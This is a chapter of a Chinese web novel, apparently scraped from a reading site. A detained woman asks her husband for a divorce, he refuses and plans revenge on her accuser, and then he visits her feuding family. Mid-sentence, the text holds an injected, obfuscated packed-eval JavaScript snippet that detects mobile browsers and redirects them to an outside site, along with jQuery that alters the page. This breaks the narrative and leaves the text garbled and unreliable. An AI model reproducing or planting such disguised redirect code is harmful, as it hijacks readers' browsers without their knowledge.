49. 第四十九章
作品:《回档1968》 因为头上的伤口很深,还缝了针,医生觉得可能会有轻微的脑震荡,需要木槿月卧床静养,但因为某种原因,木槿月并没有在医院久待,只待了两天就回到了调查组所在的地方。
住的还是之前的那间屋子,虽然那环境没变,但生活作息还是有些改变,一天的问话和学习都取消了,木槿月只需要在屋子里休息,每日看看调查组给准备的□□。
一日三餐也比之前更丰盛一些,鸡蛋猪肉,真的算是养病生活了。
而且送饭的人也是之前问话的女同志,名字叫池清,至于那位李组长自从她出院后就再没出现过。
空气里弥漫着的压抑窒息的氛围和随时会降落的风暴都消失不见了,木槿月也过上相对平静的生活。
这天下午,调查组的人推开了房门,来人脸上没什么表情,“木槿月,有人来探视。”
探视?这个词语对木槿月来说无比陌生,她有些茫然地跟着调查组的人走出了房间,之后她就被带到了一个稍微像样的房间内。屋内放了一张桌子两把椅子。
推开门,看到那个坐在椅子上,背脊挺得笔直的身影时,木槿月的呼吸一窒,她早该想到,能来看她的只有他。
来人是江熠,江熠瘦了很多,脸颊凹陷了不少,眼底有浓重的乌青,下巴上也冒出了点点青色的胡茬,整个人虽然看上去干净整洁,但掩盖不住疲惫的状态。
当他抬头时木槿月看到他布满血丝的眼睛,眼里藏着数不清的思念,他的目光像磁铁一般,死死地盯在木槿月头上白色的纱布上。
时间仿佛被凝固住了。
木槿月走到椅子边坐下,两个调查组的人分别在两人附近站好,他们也是开着的,显然是不打算给他们单独说话的机会。
江熠伸手,手指带着明显的颤抖,极其小心地碰了碰木槿月头上白纱布的边缘,喉咙动了动,从深处挤出两个字,“疼吗?”
声音带着心疼和小心翼翼,木槿月听着,像根刺直接扎在心里,她下意识偏了偏头,不让对方看到自己泛红的眼眶。
“不疼”木槿月声音有些干涩地低头回答。怎么可能不疼,她每晚都疼得难以入睡,但也是有好处的,从被动换成主动,总归是不亏的。
她想着又抬头看向江熠,看他的模样这些日子一定在外面为自己四处奔走,可以他们的情况估计是四处碰壁,只能像个无头苍蝇一样乱转,想到这里木槿月心里已经开始觉得难受,是自己连累了他。
“我没事。”木槿月强迫自己抬头,努力露出一个安抚的笑容,“我在这里每天就是学习,写写东西,我是清白的,他们的调查清楚了就会放我回去的,你不要担心。”
江熠深深地望着她,眼里饱含深意,像是有许多话要说,但屋内还有其他人在,他最终只能将所有的话憋了回去,只简单的嗯了一声。
屋内突然沉默了下来,因为他的到来,让木槿月想起了自己那还在乡下的爸妈。
她现在情况不明,但被调查组带走的事情是在大院里发生的,看到的人不少,这都过去十多天了,爸妈那里可能已经得到消息了。
她有些担心,不知道村里人知道了这个消息会不会排挤欺负爸妈,但同时这时候也是个好机会。
“江熠”木槿月抬头,迎向他担忧的目光,她在脑袋里组织了下语言,斟酌着开口道,
“我这次被带走的突然,爸妈那里……他们年纪大了,身体也不好,还有爷奶那里,脾气不好,我怕他们知道我的事情上火……”
江熠很清楚她们家的事,听她的话很快就明白了话里的意思,木家爷奶根本不喜欢她们这一房,现在出了她的事儿,木家爷奶在家不知道怎么压榨欺负他们,但这种时候也是最容易分家的。
江熠点头,“我知道爸妈那里我会回去看看的。”
木槿月看着他,在他眼睛里看到了自己的倒影,木槿月觉得自己其实最不应该连累的就是眼前的人,她越想心里越是愧疚。
自己被带走这事算得上严重了,对江熠的工作生活都带来了不小的影响,这一切都是因为自己,她不能这么自私,
念头一旦起来就一发不可收拾,她说出来的话也带着一丝决绝。
“还有……”木槿月再次开口,声音干涩地道,“咱们离婚吧。”
最难的两个字说出口其他的就更好说了,“你现在生活应该受到很大影响,我不能再继续影响你,还有妈妈那里……所以咱们离婚,之后在登报,这样更保险一点。”
这样的事调查组的人见得多了,两个人面无表情没太大的反应。
空气仿佛瞬间凝固了。
江熠脸上的血色唰的一下褪得干干净净,他睁大眼睛不敢相信自己听到了什么。
他非常愤怒,这个时候她想的居然是离开自己,自己就这么不值得信任和依赖吗?可他心里又明白对方只是为了不连累自己,是为了自己好,但他不想要这样!
“你休想!”他从牙缝里挤出这几个字,身体微微前倾,“木槿月,我不会答应结婚的,永远都不会,我会在家里等着你,等你回家。”
他一字一句地说着,每个字都无比清晰地传到木槿月的耳朵里,也狠狠地砸进她的心里。
不等两个人再继续,探视的时间到了,谈话被打断,木槿月被带回去休息了,江熠也离开了。
出了调查组所在的地方,江熠脸上强撑着的镇定和温度被一阵风吹散了,只剩下深不见底的疲惫,他挺直的脊背微微塌陷了一瞬,随即又绷紧,大步往回走。
快到家时,江熠在转角的槐树下,看到一个熟悉的身影,是刀鱼,刀鱼一看到他马上跳了起来,三两步冲了过来。
“江哥”他声音带着急切,眼神在江熠脸上飞快地扫过,试图捕捉到一条信息,“咋样了?见到嫂子没?她……还好吗?”他压低了声音,小心翼翼地问道。
江熠并没有立刻回答,而是从兜里掏出烟盒,拿了根烟自顾自地抽起烟来,烟草的辛辣味道被吸入肺部,江熠咳嗽了几声,眼眶有些泛红,但始终没有开口。
看着模样刀鱼还有什么不明白的,他心里叹了口气,为了嫂子,江哥都去找了江叔叔,从前发誓以后绝对不会去找他,但他还是去了……
刀鱼也从兜里掏出了烟盒,拿了根烟,在边上陪了一根。
他烟刚点着,边上江熠开口了,“我得去趟乡下看看她爸妈。”
“现在?”刀鱼吃惊,这时候去乡下也没用啊,“是嫂子不放心吧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15780784|161996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,我替你去……”
“不用”江熠打断他的话,他现在脑子里是乱的,也不知道我啊自己该做些什么,一直待在城里也没什么用,倒不如去乡下把答应她的事做好。
他深吸了几口,目光沉沉地看着大院门口,因为是周末,已经看到了好几家邻居,邻居们对他家都好奇得很,有唐婶子这样关心的,也有林家无视的,还有那些幸灾乐祸的。
从前都是相亲相爱的好邻居,如今……
江熠嘴角勾起一抹嘲讽的弧度,“我妈还在家,院里的人你帮我看着点,还有那个姓周的。”说到最后几个字时,他语气里的恨意几乎凝成实质。
“找人看好了,但凡有什么把柄都给我记着,记清楚了。”他越说眼神就变得越发危险。
“他不是能蹦跶吗?乱搞男女关系也好,投机倒把也好,一定要抓个现行,直接让他翻不了身!”
举报人进去了,也不知道对她能不能有点帮助。
刀鱼眼神也变得冷厉,重重点头,“江哥放心,这事包在我身上,家里有我在,婶子那里我也会照看好!”
江熠拍了拍他的肩膀,又掏了一把钱塞到他兜里,“辛苦你了,我会尽快回来。”接着又拍了下他的肩膀,这下带着满满的信赖。
“哥,咱们兄弟两个不说这客气的话。”
……
乡下木家江熠只去过一回,还是过年拜年时候去的,也算是熟悉,但毕竟是乡下,路上还是有些麻烦,费了点劲,搭了好几辆顺风车才到了队里,他直接朝着木家走去。
然而还没走近,就听到院子里传出一阵激烈的争吵声。
“我说老二,你是不是个傻子,你脑子叫狗吃了吗?”一道尖酸刻薄的声音响起,这显然是木槿月奶奶的声音。
“那个死丫头在城里犯事了,被上面抓走了,这事会牵连到咱们家的,你现在居然还护着她,你想害死咱们木家吗?”
“就是,老二,老二媳妇”一个中年男人的声音响起,声音中带着埋怨和着急撇清关系的急切,
“爹娘也是为了咱们家好,为了咱们木家在队里的名声,咱们一定要和她断绝关系,我连断绝关系的材料都找人写好了,你们按个手印就行!到时候直接登报,咱们就和她划清界限,她也牵连连不到咱们了。”
“是啊,二哥二嫂,你们赶快的!”
说登报的是木家大伯,符在边上附和的则是木家老三。
“不……不行。”一个微弱却执拗的女声响起,声音里还带着哭腔,这是林桂花。
“月月是我闺女,她不可能犯错误,肯定是被人冤枉的,她是个好孩子,孩子她爸你说话啊。”她说着推了推边上一直沉默的男人。
木友是个老实了快一辈子的男人,眼下听到这事,脸色灰白,他看着年迈的父母,咄咄逼人的兄弟,还有泪流满面的妻子,最终抱着脑袋蹲到了地上,“爹娘,再等等,再等等,月月不可能做这种事,再等等。”
这还是木友第一次反驳木奶奶的决定,还是这么大的事儿,院子里突然安静下来,还是木槿花站了出来。
“二叔,这事儿可不能等了,万一找到咱们家来,那可就全完了,二叔二婶可是要把咱们家往死路上逼啊!”